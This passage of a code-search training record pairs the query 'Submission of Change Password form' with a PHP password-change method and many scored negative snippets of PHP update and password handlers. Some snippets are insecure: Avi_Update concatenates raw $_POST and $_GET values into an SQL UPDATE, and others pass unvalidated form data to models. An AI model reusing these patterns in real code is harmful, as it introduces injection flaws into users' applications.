"function Update() {\n\t\t$updateHotel \t\t= $this->hotelObj->DoUpdateHotel($_POST['hotelId'], $_POST['hotelNama'], $_POST['kotaKode'], $_POST['hotelAlamat'], $_POST['hotelPhone'], $_POST['hotelHarga'], $_POST['hotelFasilitas'], $_POST['hotelKeterangan']);\n\t\t$deleteRelClient \t= $this->hotelObj->DoDeleteRelClient($_POST['hotelId']);\n\n\t\t$processData = $updateHotel && $deleteRelClient;\n\t\tif (!empty($_POST['clientId'])) {\n\t\t\tforeach ($_POST['clientId'] as $contact) {\n\t\t\t\t$addRelClient = $this->hotelObj->DoAddRelClient($_POST['hotelId'], $contact);\n\t\t\t}\n\t\t\t$processData = $processData && $addRelClient;\n\t\t}\n\n\t\tif ($processData == true) {\n $this->SendAlert('Pengubahan data Berhasil Dilakukan', 'Hotel', $this->cssDone);\n\t\t\treturn $this->PageView;\n\t\t\t//echo \"berhasil\"; exit;\n\t\t} else {\n $this->SendAlert('Gagal Mengubah Data', 'InputHotel', $this->cssFail);\n\t\t\treturn $this->PageInput;\n\t\t\t//echo \"gagal\"; exit;\n\t\t}\n\t}",
"function CollectUpdatedSubmission(&$formvars){\r\n\t\t$formvars['Eid'] = $this->Sanitize($_POST['Eid']);\r\n\t\t$formvars['Evename'] = $this->Sanitize($_POST['Evename']);\r\n\t\t$formvars['EstartDate'] = $this->Sanitize($_POST['EstartDate']);\r\n\t\t$formvars['EendDate'] = $this->Sanitize($_POST['EendDate']);\r\n\t\t$formvars['Eaddress'] = $this->Sanitize($_POST['Eaddress']);\r\n\t\t$formvars['Ecity'] = $this->Sanitize($_POST['Ecity']);\r\n\t\t$formvars['Estate'] = $this->Sanitize($_POST['Estate']);\r\n\t\t$formvars['Ezip'] = $this->Sanitize($_POST['Ezip']);\r\n\t\t$formvars['EphoneNumber'] = $this->Sanitize($_POST['EphoneNumber']);\r\n\t\t$formvars['Edescription'] = $this->Sanitize($_POST['Edescription']);\r\n\t\t$formvars['Etype'] = $this->Sanitize($_POST['Etype']);\r\n\t\t$formvars['Ewebsite'] = $this->Sanitize($_POST['Ewebsite']);\r\n\t\t$formvars['Ehashtag'] = $this->Sanitize($_POST['Ehashtag']);\r\n\t\t$formvars['Efacebook'] = $this->Sanitize($_POST['Efacebook']);\r\n\t\t$formvars['Etwitter'] = $this->Sanitize($_POST['Etwitter']);\r\n\t\t$formvars['Egoogle'] = $this->Sanitize($_POST['Egoogle']);\r\n\t\t$formvars['EtimeStart'] = $this->Sanitize($_POST['EtimeStart']);\r\n\t\t$formvars['EtimeEnd'] = $this->Sanitize($_POST['EtimeEnd']);\r\n\t\t$formvars['Eother'] = $this->Sanitize($_POST['Eother']);\r\n\t\t$formvars['Erank'] = $this->Sanitize($_POST['Erank']);\r\n\t}",
"protected function saveUpdate()\n {\n }",
"public function update()\n {\n\n $id = null;\n $velo_id = null;\n $description = null;\n $image = null;\n\n if (!empty($_POST['id']) && ctype_digit($_POST['id'])) {\n $id = $_POST['id'];\n }\n if (!empty($_POST['velo_id']) && ctype_digit($_POST['velo_id'])) {\n $velo_id = $_POST['velo_id'];\n }\n if (!empty($_POST['image']) && $_POST['image'] != \"\") {\n $image = htmlspecialchars($_POST['image']);\n }\n\n if (!empty($_POST['description'])) {\n $description = htmlspecialchars($_POST['description']);\n }\n if (!$id || !$image || !$description) {\n die(\"formulaire mal rempli $id, $image, $description\");\n }\n\n $voyage_to_edit = $this->model->find($id, $this->modelName);\n\n if (!$voyage_to_edit) {\n die(\"Does Not Exist\");\n }\n\n $this->model->edit($id, $description, $image);\n\n \\Http::redirect(\"index.php?controller=velo&task=show&id=$velo_id\");\n }",
"function info_update(){\r\n\t\t//POST variable here\r\n\t\t$info_id=trim(@$_POST[\"info_id\"]);\r\n\t\t$info_nama=trim(@$_POST[\"info_nama\"]);\r\n\t\t$info_nama=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$info_nama);\r\n\t\t$info_nama=str_replace(\"'\", '\"',$info_nama);\r\n\t\t$info_alamat=trim(@$_POST[\"info_alamat\"]);\r\n\t\t$info_alamat=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$info_alamat);\r\n\t\t$info_alamat=str_replace(\"'\", '\"',$info_alamat);\r\n\t\t$info_notelp=trim(@$_POST[\"info_notelp\"]);\r\n\t\t$info_notelp=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$info_notelp);\r\n\t\t$info_notelp=str_replace(\"'\", '\"',$info_notelp);\r\n\t\t$info_nofax=trim(@$_POST[\"info_nofax\"]);\r\n\t\t$info_nofax=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$info_nofax);\r\n\t\t$info_nofax=str_replace(\"'\", '\"',$info_nofax);\r\n\t\t$info_email=trim(@$_POST[\"info_email\"]);\r\n\t\t$info_email=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$info_email);\r\n\t\t$info_email=str_replace(\"'\", '\"',$info_email);\r\n\t\t$info_website=trim(@$_POST[\"info_website\"]);\r\n\t\t$info_website=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$info_website);\r\n\t\t$info_website=str_replace(\"'\", '\"',$info_website);\r\n\t\t$info_slogan=trim(@$_POST[\"info_slogan\"]);\r\n\t\t$info_slogan=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$info_slogan);\r\n\t\t$info_slogan=str_replace(\"'\", '\"',$info_slogan);\r\n\t\t$info_cabang=trim(@$_POST[\"info_cabang\"]);\r\n\t\t$result = $this->m_info->info_update($info_id ,$info_nama ,$info_alamat ,$info_notelp ,$info_nofax ,$info_email ,$info_website ,\r\n\t\t\t\t\t\t\t\t\t\t\t $info_slogan, $info_cabang);\r\n\t\techo $result;\r\n\t}",
"public function updateEmployee()\n {\n // if we have POST data to create a new employee entry\n if (isset($_POST[\"submit_update_employee\"])) {\n // do updateEmployee() from model/model.php\n $this->model->updateEmployee($_POST[\"firstname\"], $_POST[\"surname\"], $_POST[\"email\"], $_POST[\"phone\"], $_POST[\"category\"], $_POST[\"started\"], $_POST[\"left\"],$_POST['employee_id']);\n }\n\n // where to go after employee has been added\n header('location: ' . URL . 'employees/index');\n }",
"function displayUpdateForm($nameValue, $emailValue, $userValue) {\r\n displayUserForm(\"processUpdate.php\", \"updateForm\", \"Update\",\r\n \"Name\", $nameValue,\r\n \"Email\", $emailValue,\r\n \"Username\", $userValue,\r\n \"Password\", \"Confirm Password\",\r\n false, -1);\r\n}",
"function Avi_Update(){\n\t\t\n\t\t\n\t\t//when click on button\n\t\tif(isset($_POST['avibtnupdate'])){\n\t\t\t\n\t\t\t//move id into variable\n\t\t\t$get_id = $_GET['Edit'];\n\t\t\t\n\t\t\t//values for table \n\t\t\t$values = \"monday='\".$_POST['monstart'].\" - \".$_POST['monend'].\"',tuesday='\".$_POST['tustart'].\" - \".$_POST['tuend'].\"',wednesday='\".$_POST['wedstart'].\" - \".$_POST['wedend'].\"',thursday='\".$_POST['thustart'].\" - \".$_POST['thuend'].\"',friday='\".$_POST['fristart'].\" - \".$_POST['friend'].\"',saturday='\".$_POST['satstart'].\" - \".$_POST['satend'].\"',sunday='\".$_POST['sunstart'].\" - \".$_POST['sunend'].\"',user_id='\".$_POST['doctor'].\"',date=NOW()\";\n\t\t\t\n\t\t\t//Update From Avialibalility table\n\t\t\t$this->Update('availability',$values,\" where id='$get_id' \",'Availability?List&m');\n\t\t\t\n\t\t\t\n\t\n\t\t} // ifisset close\n\t\t\n\t}",
"public function update_person() {\n $fdata = $this->input->post();\n unset($fdata['submit']);\n $where = array(\"admin_id\" => $this->admin_lib->admin_id, \"person_id\" => $fdata['person_id']);\n $this->person_db->update_person($where, $fdata);\n redirect(\"p_list/index\");\n }",
"public function action_updatedo()\n {\n\t $this->template = View::forge('template-admin');\n\n $post = Input::post();\n\t\t$id = $post[\"id\"];\n $entry = Model_Event::find_by_pk($post[\"id\"]);\n if($entry){\n\t\t\t$entry[\"venue\"] = $post[\"venue\"];\n\t\t\t$entry[\"post\"] = $post[\"post\"];\n\t\t\t$entry[\"dating\"] = $post[\"dating\"];\n\t\t\t$entry[\"content\"] = $post[\"content\"];\n\t\t\t$entry[\"name\"] = $post[\"name\"];\n\t\t\t$entry[\"man_num\"] = $post[\"man_num\"];\n\t\t\t$entry[\"woman_num\"] = $post[\"woman_num\"];\n\t\t\t$entry[\"visitors_num\"] = $post[\"visitors_num\"];\n\t\t\tif(!$entry->save()){\n\t\t\t\t$data[\"msg\"] = \"更新に失敗しました。\";\n\t\t\t\t$data[\"details\"] = Model_Event::find_by('id',$id);\n\t\t\t\t$this->template->title = \"イベント一覧\";\n\t\t\t\t$this->template->content = View::forge('event/index', $data);\n\t\t\t}\n }\n\t\t$data[\"details\"] = Model_Event::find_by('id',$id);\n\t\t$this->template->title = \"イベント一覧\";\n\t\t$this->template->content = View::forge('event/index', $data);\n\t}",
"public function editAction() {\r\n\t\t$id = $this->getInput('id');\r\n\t\t$info = Gou_Service_Notice::getNotice(intval($id));\r\n\t\t$this->assign('info', $info);\r\n\t\t$this->assign('channels', $this->channels);\r\n\t}",
"public function updateMyAccountInfo()\n {\n $ajax_data = array();\n $post = $this->request->request->all();\n \n // validate POST parameters\n $result = $this->user_logic->validateAccountInfoPostData($post);\n if (($result['error'] == '') AND ! empty($result['params'])) {\n $user_id = $this->user_session->getUserId();\n $update = $this->user_logic->updateUserInfo($user_id, $result['params']);\n if ($update !== false) {\n $ajax_data['code'] = 0;\n $ajax_data['data'] = $post;\n $ajax_data['message'] = 'Updated Account Information'; \n } else {\n $errors = $this->user_logic->getErrorMessage();\n if (! empty($errors) AND is_array($errors)) {\n $errors = implode(',',$errors);\n } else {\n $errors = 'Failed to update account info due to database error';\n }\n \n $ajax_data['code'] = 1;\n $ajax_data['message'] = $ajax_data['validation_error'][] = $errors;\n }\n } else {\n $ajax_data['code'] = 1;\n $ajax_data['message'] = $ajax_data['validation_error'][] = $result['error']; \n }\n \n $this->ajax_respond($ajax_data);\n }",
"public function actionUpdate()\n {\n\t$this->layout='wide';\n $post=$this->loadPost();\n $post->content=($post->contentbig)?$post->contentbig:$post->contentshort;\n\n if(isset($_POST['Post']))\n {\n $post->attributes=$_POST['Post'];\n if(isset($_POST['previewPost']))\n $post->validate();\n else if(isset($_POST['submitPost']) && $post->save())\n $this->redirect(array('show','slug'=>$post->slug));\n }\n $this->pageTitle=Yii::t('lan','Update Post');\n $this->render('update',array('post'=>$post));\n }",
"public static function update(){\n\t\tif(isset($_GET['id'])){\n\t\t\tif($_GET['id'] === \"\") {\n\t\t\t\theader('Location: customers.php');\n\t\t\t}\n\t\t\t$sql = \"\n\t\t\t\tSELECT *\n\t\t\t\tFROM item\n\t\t\t\tWHERE id = :id\n\t\t\t\t\";\n\t\t\t$prepare_values = [\n\t\t\t\t':id' => $_GET['id']\n\t\t\t\t];\n\t\t\t// Make a PDO statement\n\t\t\t$statement = DB::prepare($sql);\n\n\t\t\t// Execute\n\t\t\tDB::execute($statement, $prepare_values);\n\n\t\t\t// Get all the results of the statement into an array\n\t\t\t$results = $statement->fetchAll();\n\n\t\t\t// Get the first result as a row\n\t\t\t$row = $results[0];\n\t\t\t$item_name = $row['name'];\n\t\t\t$price = $row['price'];\n\t\t\t$id = $row['id'];\n\t\t\t// Initialize template for updating item\n\t\t\t$template = \"\n\t\t\t<form method=\\\"POST\\\" action=\\\"update_item.php?id=$id\\\">\n\t\t\t\t<label>Item</label>\n\t\t\t\t<input type=\\\"text\\\" name=\\\"name\\\" value=\\\"$item_name\\\">\n\t\t\t\t<label>Price</label>\n\t\t\t\t<input type=\\\"text\\\" name=\\\"price\\\" value=\\\"$price\\\">\n\t\t\t\t<button>Update</button>\n\t\t\t</form>\";\n\t\t} else {\n\t\t\t// Initialize template for adding item\n\t\t\t$template = '\n\t\t\t<form method=\"POST\" action=\"new_item.php\">\n\t\t\t\t<label>Item</label>\n\t\t\t\t<input type=\"text\" name=\"name\" value=\"\">\n\t\t\t\t<label>Price</label>\n\t\t\t\t<input type=\"text\" name=\"price\" value=\"\">\n\t\t\t\t<button>Add</button>\n\t\t\t</form>';\n\t\t}\n\t\treturn $template;\n\t}",
"public function edit_info($info,$i_id)\r\n {\r\n \r\n }",
"public function update()\n {\n // if we have POST data to create a new customer entry\n if (isset($_POST['submit_update_vendedor'])) {\n // Instance new Model (Customers)\n $Vendedor = new VendedoresModel();\n // do update() from model/model.php\n $Vendedor->update($_POST['nome'], $_POST['email'], $_POST['vendedor_id']);\n }\n\n // where to go after customer has been added\n header('location: ' . URL . 'vendedores/index');\n }",
"public function update()\n\t{\n\t\tif(isset($_SESSION['admin']))\n\t\t{\n\t\t\tif(isset($_POST['id']))\n\t\t\t{\n\t\t\t\t$id = $_POST['id'];\n\t\t\t\t$title = $_POST['title'];\n\t\t\t\t$image = $this->_imageMng->check();\n\t\t\t\t$content = $_POST['content'];\n\t\t\t\t$this->_adminMng->updatePost($title,$content,$image,$id);\n\t\t\t\t$this->message(4);\n\t\t\t\theader('Location: index.php');\n\t\t\t}\n\t\t\telse{throw new Exception(\"Identifiant de post introuvable\");}\n\t\t}\n\t\telse{header('Location: login.php');}\n\t}",
"public function updating()\n {\n # code...\n }",
"public function updateAction()\n {\n// \t$this->view->layoutHelp = '/offensive/help_update';\n \t \n \t$id = $this->_request->getParam('id');\n// \t$target = TargetQuery::create()->findPk($id);\n\n \tif(is_null($id))\n \t{\n \t\t$this->view->layoutTitle = 'Angriff anlegen';\n \t\t$target = new Target();\n \t}\n \telse\n \t{\n \t\t$this->view->layoutTitle = 'Angriff bearbeiten';\n \t\t$target = TargetQuery::create()->findPk($id);\n \t}\n \t\n \tif ($this->_request->isPost()) {\n \t\tif(isset($_POST[\"cancel\"]))\n \t\t{\n \t\t\t{\n \t\t\t\t$this->_helper->redirector(\"index\", \"offensive\", \"default\");\n \t\t\t}\n \t\t\t \n \t\t}\n \t\telseif(isset($_POST['save']) || isset($_POST['save+activities']))\n \t\t{\n \t\t\t$postData = $this->_request->getPost();\n \t\t\t$target->fromArray($postData);\n \t\t\t$target->setBoolean($postData);\n \t\t\techo \"<xmp>\"; var_dump($target);\n \t\t\t$target->save();\n \t\t\t\n \t\t\tif(isset($_POST['save']))\n \t\t\t\t$this->_helper->redirector(\"index\", \"offensive\", \"default\");\n \t\t\telse\n \t\t\t\t$this->_helper->redirector(\"list\", \"offensive\", \"default\", array('id' => $target->getId()));\n \t\t}\n \t}\n \t \n \t$this->view->target = $target;\n }",
"public function edit(Siteinfo $siteinfo)\n {\n //\n }",
"public function editAction(){\n\t\t$id = $this->getInput('id');\n\t\t$info = Gou_Service_ForumReply::getForumReply(intval($id));\t\t\n\t\t$this->assign('status', $this->status);\t\t\n $this->assign('info', $info);\t\n\t}",
"function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}",
"protected function _update()\n {\n \n }",
"protected function _update()\n {\n \n }",
"public function updateinfoAction()\n {\n $result = $this->getAuthenService();\n if(!$result->hasIdentity())\n {\n return $this->redirect()->toRoute('home');\n }\n\n $layoutSetting = $this->layout();\n $layoutSetting->setTemplate('layout/settingpage');\n\n $result = new ViewModel();\n $result->setTemplate('userpage/userpage/updateinfo');\n\n $allInfo = $this->getUserIdentity();\n\n $aboutMe = array(\n 'school' => $allInfo->getSchool(),\n 'work' => $allInfo->getWork(),\n 'relationship' => $allInfo->getRelationship(),\n );\n $bacsicInfo = array(\n 'lastname' => $allInfo->getLastname(),\n 'firstname' => $allInfo->getFirstname(),\n 'dob' => $allInfo->getDOB(),\n 'address' => $allInfo->getAddress(),\n 'quote' => $allInfo->getQuote(),\n );\n\n\n $result->setVariables(array(\n 'aboutMe' => $aboutMe,\n 'basicInfo' => $bacsicInfo,\n ));\n return $result;\n }"
] | [
"0.7853345",
"0.7287599",
"0.72206473",
"0.71379477",
"0.70539",
"0.6983488",
"0.6971337",
"0.6923803",
"0.6920522",
"0.6801765",
"0.67924273",
"0.67924273",
"0.66757125",
"0.6675644",
"0.6614287",
"0.6606717",
"0.65967077",
"0.656902",
"0.6558495",
"0.65559393",
"0.65548146",
"0.65394795",
"0.6522818",
"0.6515676",
"0.65144306",
"0.6472257",
"0.6463183",
"0.6425638",
"0.6424577",
"0.6413089",
"0.64047354",
"0.6403704",
"0.6398229",
"0.6395396",
"0.6299046",
"0.6297143",
"0.62758225",
"0.6274205",
"0.6256988",
"0.6241355",
"0.6241355",
"0.6229106",
"0.620307",
"0.620102",
"0.6186941",
"0.61807895",
"0.6173402",
"0.6156974",
"0.61568725",
"0.6155058",
"0.6153382",
"0.6146558",
"0.61452967",
"0.61317533",
"0.61310965",
"0.6126464",
"0.611491",
"0.6098852",
"0.6095192",
"0.60849476",
"0.60653985",
"0.6064255",
"0.606226",
"0.6062124",
"0.60573804",
"0.60475194",
"0.6045987",
"0.60454196",
"0.60449773",
"0.60432243",
"0.60421574",
"0.6040088",
"0.60249436",
"0.60246485",
"0.601846",
"0.6018316",
"0.60156804",
"0.6003946",
"0.6000755",
"0.5997878",
"0.5996665",
"0.5996468",
"0.5994612",
"0.59942156",
"0.5992227",
"0.5990878",
"0.59882456",
"0.5986104",
"0.5980955",
"0.5978959",
"0.5977507",
"0.59761554",
"0.5970221",
"0.5970075",
"0.59639853",
"0.59593964",
"0.5953588",
"0.59420735",
"0.59420735",
"0.5941875"
] | 0.6167618 | 47 |
Submission of Change Password form | public function account_change_password()
{
$data = array('password' => $this->input->post('new_password'));
if ($this->ion_auth->update($this->mUser->id, $data))
{
$messages = $this->ion_auth->messages();
$this->system_message->set_success($messages);
}
else
{
$errors = $this->ion_auth->errors();
$this->system_message->set_error($errors);
}
redirect('admin/panel/account');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"protected function _change_pass_submit()\n\t{\n\t\t$user = user_get_account_info();\n\t\t$password = $this->input->post('password');\n\t\t$password = mod('user')->encode_password($password, $user->email);\n\n\n\t\t$data['password'] = $password;\n\t\tt('session')->set_userdata('change_password', $data);\n\t\t$user_security_type = setting_get('config-user_security_change_password');\n\t\tif (in_array($user_security_type, config('types', 'mod/user_security'))) {\n\t\t\tmod('user_security')->send('change_password');\n\t\t\t$location = $this->_url('confirm/change_password');\n\t\t} else {\n\n\t\t\tmodel('user')->update($user->id, compact('password'));\n\t\t\tset_message(lang('notice_update_success'));\n\t\t\t$location = $this->_url('change_pass');\n\n\t\t}\n\n\t\treturn $location;\n\t}",
"public function change_pass()\n\t{\n\t\t$form = array();\n\n\t\t$form['validation']['params'] = array('password_old', 'password', 'password_confirm');\n\n\t\t$form['submit'] = function ($params) {\n\t\t\treturn $this->_change_pass_submit();\n\n\n\t\t};\n\n\t\t$form['form'] = function () {\n\t\t\tpage_info('title', lang('title_change_pass'));\n\n\t\t\t$this->_display();\n\t\t};\n\n\t\t$this->_form($form);\n\t}",
"protected function changePassword() {}",
"public function changePasswordAction()\n {\n $form = new ChangePasswordForm();\n\n if ($this->request->isPost()) {\n\n if (!$form->isValid($this->request->getPost())) {\n\n foreach ($form->getMessages() as $message) {\n $this->flash->error($message);\n }\n } else {\n\n $user = $this->auth->getUser();\n\n $user->password = $this->security->hash($this->request->getPost('password'));\n $user->mustChangePassword = 'N';\n\n $passwordChange = new PasswordChanges();\n $passwordChange->user = $user;\n $passwordChange->ipAddress = $this->request->getClientAddress();\n $passwordChange->userAgent = $this->request->getUserAgent();\n\n if (!$passwordChange->save()) {\n $this->flash->error($passwordChange->getMessages());\n } else {\n\n $this->flash->success('Your password was successfully changed');\n\n Tag::resetInput();\n }\n }\n }\n\n $this->view->form = $form;\n }",
"public function getPasswordChangeForm();",
"function submitpassword() \n\t{\n // on the action being rendered\n $this->viewData['navigationPath'] = $this->getNavigationPath('users');\n\t\tif ($_POST['pass1']=== $_POST['pass2'])\n\t\t{\n\t\t\tUserModel::Create()->ChangePassword($_POST['hash'], $_POST['pass1']);\n\t\t\tif (User::IsLoggedIn())\n\t\t\t{\n\t\t\t\tUser::setpassword($_POST['pass1']);\n\t\t\t\t$this->renderWithTemplate('admin/index', 'AdminPageBaseTemplate');\n\t\t\t}\n\t\t\telse\n\t\t\t{$this->renderWithTemplate('admin/login', 'AdminPageBaseTemplate');}\n\t\t}\n\t\telse\n\t\t{\t\n\t\t\t$this->viewData['message'] =\"Passwords Don't Match. Try Again\";\n\t\t\t$this->renderWithTemplate('users/changepassword', 'AdminPageBaseTemplate');\n\t\t}\n }",
"public function changePasswordAction()\n {\n $form = new Form\\Password();\n if ($this->getRequest()->isPost() && $form->isValid($this->getRequest()->getPost())) {\n $userModel = new Model\\Users();\n $identity = $this->_auth ->getIdentity();\n $userId = $identity->getId();\n $user = $userModel->getUser($userId);\n $result = $userModel->savePassword($user, $form->getValue('new_password'), $form->getValue('password'));\n\n if ($result) {\n $this->_helper->getHelper('FlashMessenger')->addMessage('Your password was changed.'); \n } else {\n $this->_helper->getHelper('FlashMessenger')->addMessage('Your password was NOT changed.');\n }\n $this->_redirect($this->getRequest()->getRequestUri());\n }\n $this->view->passwordForm = $form;\n }",
"public function changePasswordAction()\r\n\t{\r\n\t\t$this->_view->_title = 'Thay đổi mật khẩu';\r\n\r\n\t\tif ($this->_arrParam['form']['token'] > 0) {\r\n\r\n\t\t\t$new = $this->_arrParam['form']['new-password'];\r\n\t\t\t$enter = $this->_arrParam['form']['enter-password'];\r\n\r\n\t\t\tif ($new != $enter) {\r\n\t\t\t\t$this->_view->error = 'Mật khẩu không khớp. Xin kiểm tra lại';\r\n\t\t\t} else {\r\n\r\n\t\t\t\t$this->_model->changePassword($this->_arrParam);\r\n\t\t\t}\r\n\t\t}\r\n\t\t// URL::redirect($this->_arrParam['module'], $this->_controller, 'index');\r\n\r\n\r\n\r\n\t\t$this->_view->render(\"{$this->_controller}/change_password\");\r\n\t}",
"public function change_password()\n {\n $view_data = [\n 'form_errors' => []\n ];\n // Check input data\n if ($this->input->is_post()) {\n\n // Call API to register for parent\n $res = $this->_api('user')->change_password($this->input->post());\n\n if ($res['success'] && !isset($res['invalid_fields'])) {\n $this->_flash_message('パスワードを変更しました');\n redirect('setting');\n return;\n }\n // Show error if form is incorrect\n $view_data['form_errors'] = $res['invalid_fields'];\n $view_data['post'] = $this->input->post();\n }\n\n $this->_render($view_data);\n }",
"public function changePasswordAction()\n {\n if ($this->request->isPost()) {\n // Request data\n $data = $this->request->getPost();\n\n $formValidator = $this->createValidator([\n 'input' => [\n 'source' => $data,\n 'definition' => [\n 'password' => new Pattern\\Password,\n 'confirmation' => new Pattern\\PasswordConfirmation($data['password'])\n ]\n ]\n ]);\n\n if ($formValidator->isValid()) {\n // Update current password\n $userService = $this->getModuleService('userService');\n $userService->updatePasswordById($this->getUserId(), $data['password']);\n\n $this->flashBag->set('success', 'Your password has been updated successfully');\n return 1;\n\n } else {\n return $formValidator->getErrors();\n }\n \n } else {\n // Just render empty form\n return $this->view->render('settings/change-password');\n }\n }",
"public function actionUpdatePassword(){\r\n //common view data\r\n $mainCategories = $this->mainCategories;\r\n $brands = $this->brands;\r\n \r\n $errors = [];\r\n $success = null;\r\n \r\n //check if the user is logged in and get User $user properties from the database\r\n $userID = $this->checkLogged();\r\n $success = null;\r\n \r\n //check if the form has been submitted and process form data\r\n if($_SERVER['REQUEST_METHOD'] == 'POST') {\r\n $currentPassword = filter_input(INPUT_POST, 'currentPassword', FILTER_SANITIZE_SPECIAL_CHARS);\r\n $newPassword = filter_input(INPUT_POST, 'newPassword', FILTER_SANITIZE_SPECIAL_CHARS);\r\n $confirmNewPassword = filter_input(INPUT_POST, 'confirmNewPassword', FILTER_SANITIZE_SPECIAL_CHARS);\r\n \r\n $model = new ChangePasswordForm($userID, $currentPassword, $newPassword, $confirmNewPassword);\r\n \r\n if(!$model->validate()) {\r\n $errors = $model->errors;\r\n } else if(!$model->verifyPassword()) {\r\n $errors['currentPassword'][0] = 'Incorrect password';\r\n } else {\r\n $success = $model->updatePassword() ? 'PASSWORD SUCCESSFULLY UPDATED' : 'ERROR UPDATING PASSWORD';\r\n }\r\n }\r\n \r\n include_once ROOT . '/views/profile/changepass.php';\r\n \r\n }",
"public function change_admin_password_form() {\n\t if ($this->lang->line('admin_menu_change_password') != '') \n\t\t$this->data['heading']= stripslashes($this->lang->line('admin_menu_change_password')); \n\t\telse $this->data['heading'] = 'Change Password';\n if ($this->checkLogin('A') == '') {\n redirect(ADMIN_ENC_URL);\n } else {\n \n $this->load->view(ADMIN_ENC_URL.'/templates/header.php', $this->data);\n $this->load->view(ADMIN_ENC_URL.'/adminsettings/changepassword.php', $this->data);\n $this->load->view(ADMIN_ENC_URL.'/templates/footer.php', $this->data);\n }\n }",
"public function passwordChangeForm()\n {\n return view('turtle::auth.password.change');\n }",
"function display_password_form()\r\n{\r\n?>\r\n <br>\r\n <form action=\"change_passwd.php\" method=post>\r\n <table width=250 cellpadding=2 cellspacing=0 bgcolor=#cccccc>\r\n <tr><td>Старый пароль:</td>\r\n <td><input type=password name=old_passwd size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td>Новый пароль:</td>\r\n <td><input type=password name=new_passwd size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td>Повторите новый пароль:</td>\r\n <td><input type=password name=new_passwd2 size=16 maxlength=16></td>\r\n </tr>\r\n <tr><td colspan=2 align=center><input type=submit value=\"Изменить пароль\">\r\n </td></tr>\r\n </table>\r\n <br>\r\n<?\r\n}",
"public function password()\n {\n $this->isUser();\n\n $this->data['noCabinetOrAdmin'] = true;\n\n if ($_POST) {\n\n if (!$_POST['old-password'] && !$_POST['new-password']) {\n\n $userModel = new UserModel();\n\n $validateResult = $userModel->validate($_POST);\n\n if ($validateResult === true) {\n\n $checkPassword = $userModel->checkOldPassword($_POST['old-password']);\n\n if ($checkPassword) {\n\n if ($userModel->refreshPassword($_POST)) {\n\n $this->data['success'] = 'Пароль успешно изменен';\n\n } else {\n\n $this->data['warning'] = 'Произошла ошибка';\n }\n\n } else {\n\n $this->data['warning'] = 'Старый пароль введен не правильно';\n }\n\n } else {\n\n $this->data['warning'] = $validateResult;\n }\n\n } else {\n\n $this->data['warning'] = 'Все поля должны быть заполнены';\n }\n }\n\n $this->render('password');\n }",
"public function actionChangePassword()\n {\n $this->render('changePassword');\n }",
"public function passwordformAction(){\n\t\t/*if($this->_request->getParam('error')){\n\t\t\t$this->view->assign('messages',$this->_messages->getMessages());\n\t\t}*/\n\t\t\t\t\n\t\t$form = new Bel_Forms_Builder('passreset_form','/usermanagement/profile/savepassword');\n\t\t$this->view->assign('form',$form);\n\t\t$this->view->display('forms/ajax.tpl');\t\t\n\t}",
"public function changePasswordAction()\n {\n $errors = [];\n if(!empty($_POST)){\n $user = Auth::getUser();\n\n $userValidation = new UserValidation($_POST, ['password']);\n $errors = $userValidation->getNamedErrors();\n\n if(empty($errors)){\n if(password_verify($_POST['oldpass'], $user->password)){\n $user->changePassword($_POST['password']);\n Extra::setMessageCookie(\"Password changed successfully.\");\n $this->redirect(\"/manage-account/\");\n }\n $errors['oldpass'] = \"Password you entered is incorrect.\";\n }\n }\n View::renderTemplate(\"LoggedUser/change-password.html\", [\n 'errors' => $errors\n ]);\n }",
"public function change_password()\n\t{\n\t \n\t \n \t\t/* Breadcrumb Setup Start */\n\t\t\n\t\t$link = breadcrumb();\n\t\t\n\t\t$data['breadcrumb'] = $link;\n\t\t\n\t\t/* Breadcrumb Setup End */\n\t\n\t\t$data['page_content']\t=\t$this->load->view('changepwd',$data,true);\n\t\t$this->load->view('page_layout',$data);\n\t}",
"public function actionChangePassword()\n {\n \t$user = UserAdmin::findOne(Yii::$app->request->get('id'));\n \t$model = new ChangeForcePasswordForm($user);\n \tif ($model->load(Yii::$app->request->post()) && $model->applyChanges()) \n \t{\n \t\tYii::$app->getSession()->setFlash('success', \n \t\t\t\"The user password has been changed\"\n \t\t);\n \t\treturn $this->redirect([\"/admin/crud/user-admin/view\", 'id' => $user->id]);\n \t}\n \t\n \t$this->layout = '@app/layouts/layout-popup-sm';\n \treturn $this->render('change-password', ['model' => $model]);\n }",
"function change_password()\n {\n if ($user = $this->authorized(USER))\n {\n $descriptive_names = array(\n 'current_password' => 'Current Password',\n 'new_password' => 'New Password',\n 'new_password_confirm' => 'Confirm Password'\n );\n\n $rules = array(\n 'current_password' => ($user['group_id']==0)?'clean':'required|clean',\n 'new_password' => 'required|clean',\n 'new_password_confirm' => 'required|clean'\n );\n\n $this->loadLibrary('form.class');\n $form = new Form();\n\n $form->dependencies['title'] = \"Change Password\";\n $form->dependencies['form'] = 'application/views/change-password.php';\n $form->dependencies['admin_reset'] = false;\n $form->dependencies['client_id'] = $user['id'];\n $form->form_fields = $_POST;\n $form->descriptive_names = $descriptive_names;\n $form->view_to_load = 'form';\n $form->rules = $rules;\n\n if ($fields = $form->process_form())\n {\n\n $this->loadModel('UserAuthentication');\n\n\n if ($this->UserAuthentication->change_password($user['id'], $fields['current_password'], $fields['new_password'], $fields['new_password_confirm']))\n {\n $this->alert(\"Password Updated\", \"success\");\n $this->redirect(\"portal/home\");\n }\n else\n {\n $this->alert(\"Error: Password Not Updated\", \"error\");\n $this->redirect(\"portal/home\");\n }\n }\n }\n }",
